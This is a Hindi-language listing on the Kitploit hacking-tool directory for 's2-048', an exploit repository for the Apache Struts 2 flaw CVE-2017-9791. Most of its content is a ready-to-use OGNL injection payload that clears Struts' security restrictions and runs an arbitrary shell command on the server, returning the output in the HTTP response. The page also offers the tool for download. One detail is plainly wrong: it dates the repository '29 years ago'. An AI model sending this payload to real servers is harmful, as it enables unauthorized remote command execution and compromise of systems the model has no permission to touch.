Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
s2-048 — Apache struts struts 2 048, CVE-2017-9791. | Kitploit
उपकरण/GitHubGitHub/iansmith123/s2-048
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubiansmith123/s2-048

s2-048

Apache struts struts 2 048, CVE-2017-9791.

रिपॉजिटरी देखें
29 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

s2-048

s2-048 के लिए एक्सप्लॉइट, CVE-2017-9791।

root@kitploit:~
  ______     _______     ____   ___  _ _____     ___ _____ ___  _ 
 / ___\ \   / / ____|   |___ \ / _ \/ |___  |   / _ \___  / _ \/ |
| |    \ \ / /|  _| _____ __) | | | | |  / /___| (_) | / / (_) | |
| |___  \ V / | |__|_____/ __/| |_| | | / /_____\__, |/ / \__, | |
 \____|  \_/  |_____|   |_____|\___/|_|/_/        /_//_/    /_/|_|

poc:

root@kitploit:~
%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

यह https://github.com/Loneyers/vuldocker/tree/master/struts2/s2-048 से एक poc है, मैंने एक डॉकर बनाया और सफलतापूर्वक वही परिणाम पाया, लेकिन मेरी पायथन स्क्रिप्ट में अभी भी कुछ त्रुटियाँ हैं।

टूल डाउनलोड करें